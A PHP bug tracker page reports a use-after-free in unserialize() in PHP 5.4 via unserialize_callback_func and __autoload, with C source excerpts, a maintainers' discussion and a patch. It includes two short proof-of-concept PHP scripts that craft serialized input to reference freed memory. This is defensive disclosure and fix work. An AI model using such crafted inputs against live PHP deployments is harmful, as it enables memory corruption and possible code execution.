php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #70213 Unserialize context shared on double class lookup
Submitted: 2015-08-08 10:23 UTC Modified: 2017-01-01 13:08 UTC
From: taoguangchen at icloud dot com Assigned:
Status: Closed Package: *General Issues
PHP Version: 5.4.44 OS: *
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2015-08-08 10:23 UTC] taoguangchen at icloud dot com
Description:
------------
i) ZVAL can be freed from memory via the process_nested_data() with a invalid serialized string.

```
static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops)
{
	while (elements-- > 0) {
		zval *key, *data, **old_data;

		...

		ALLOC_INIT_ZVAL(data);

		if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
			zval_dtor(key);
			FREE_ZVAL(key);
			zval_dtor(data);
			FREE_ZVAL(data);  <===  free memory
			return 0;
		}
```

ii) defined __autoload() function via unserialize()'s callback function, then call __autoload() function via zend_lookup_class().

```
		MAKE_STD_ZVAL(user_func);
		ZVAL_STRING(user_func, PG(unserialize_callback_func), 1);
		args[0] = &arg_func_name;
		MAKE_STD_ZVAL(arg_func_name);
		ZVAL_STRING(arg_func_name, class_name, 1);
		BG(serialize_lock)++;
		if (call_user_function_ex(CG(function_table), NULL, user_func, &retval_ptr, 1, args, 0, NULL TSRMLS_CC) != SUCCESS) {
		
		...
		
		/* The callback function may have defined the class */
		if (zend_lookup_class(class_name, len2, &pce TSRMLS_CC) == SUCCESS) {
			ce = *pce;
		} else {
```

so we can create ZVAL and free it via crafted __autoload() with deserialize invalid serialized string. then use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code.

PoC:

```
ini_set('unserialize_callback_func', 'evil');

function evil() {
	function __autoload($arg) {
		$str = 'a:1:{i:0;i:1';
		unserialize($str);
	}
}

$exploit = 'a:2:{i:0;O:4:"evil":0:{}i:1;R:4;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);

function ptr2str($ptr)
{
	$out = "";
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}
```


Patches

Pull Requests

Pull requests:

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-08-08 10:24 UTC] taoguangchen at icloud dot com
the patch for 5.4 series (maybe work on 5.5 and 5.6 series):

diff --git a/php-5.4.44/var_unserializer.c b/php-5.4.44-fixed/var_unserializer.c
index 8c4e629..bb35ba8 100644
--- a/php-5.4.43/var_unserializer.c
+++ b/php-5.4.43-fixed/var_unserializer.c
@@ -728,6 +728,7 @@ yy20:
 		}
 		
 		/* The callback function may have defined the class */
+		BG(serialize_lock)++;
 		if (zend_lookup_class(class_name, len2, &pce TSRMLS_CC) == SUCCESS) {
 			ce = *pce;
 		} else {
@@ -735,6 +736,7 @@ yy20:
 			incomplete_class = 1;
 			ce = PHP_IC_ENTRY;
 		}
+		BG(serialize_lock)--;
 
 		zval_ptr_dtor(&user_func);
 		zval_ptr_dtor(&arg_func_name);
 [2015-08-08 10:56 UTC] taoguangchen at icloud dot com
previous PoC is work but some code is not required, so i update a new PoC:

```
ini_set('unserialize_callback_func', 'evil');

function evil() {
	function __autoload($arg) {
		$str = 'a:1:{i:0;i:1';
		unserialize($str);
	}
}

$exploit = 'a:2:{i:0;O:4:"evil":0:{}i:1;R:4;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```
 [2015-08-16 22:44 UTC] stas@php.net
-Type: Security +Type: Bug
 [2015-08-16 22:44 UTC] stas@php.net
This exploit seems to require specially crafted code unlikely to be encountered in real applications. As such, doesn't look like a security issue.
 [2015-12-08 22:26 UTC] yohgaki@php.net
@stas

It seems proposed patch is applicable to 5.6/7.0. Are you going to merge the patch or it's not needed for 5.6/7.0?
 [2017-01-01 12:54 UTC] nikic@php.net
-Summary: Use after free vulnerability in unserialize() +Summary: Use after free in unserialize() in combination with double class lookup
 [2017-01-01 13:08 UTC] nikic@php.net
-Summary: Use after free in unserialize() in combination with double class lookup +Summary: Unserialize context shared on double class lookup
 [2017-01-01 13:08 UTC] nikic@php.net
Looks like the use-after-free has already been otherwise resolved in the meantime. However, we should of course still lock the context here.
 [2017-01-01 13:14 UTC] nikic@php.net
Automatic comment on behalf of nikic
Revision: http://git.php.net/?p=php-src.git;a=commit;h=a65ad951ad95944e357703caa2001f06a4225bf6
Log: FIx bug #70213
 [2017-01-01 13:14 UTC] nikic@php.net
-Status: Open +Status: Closed
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 12:01:29 2024 UTC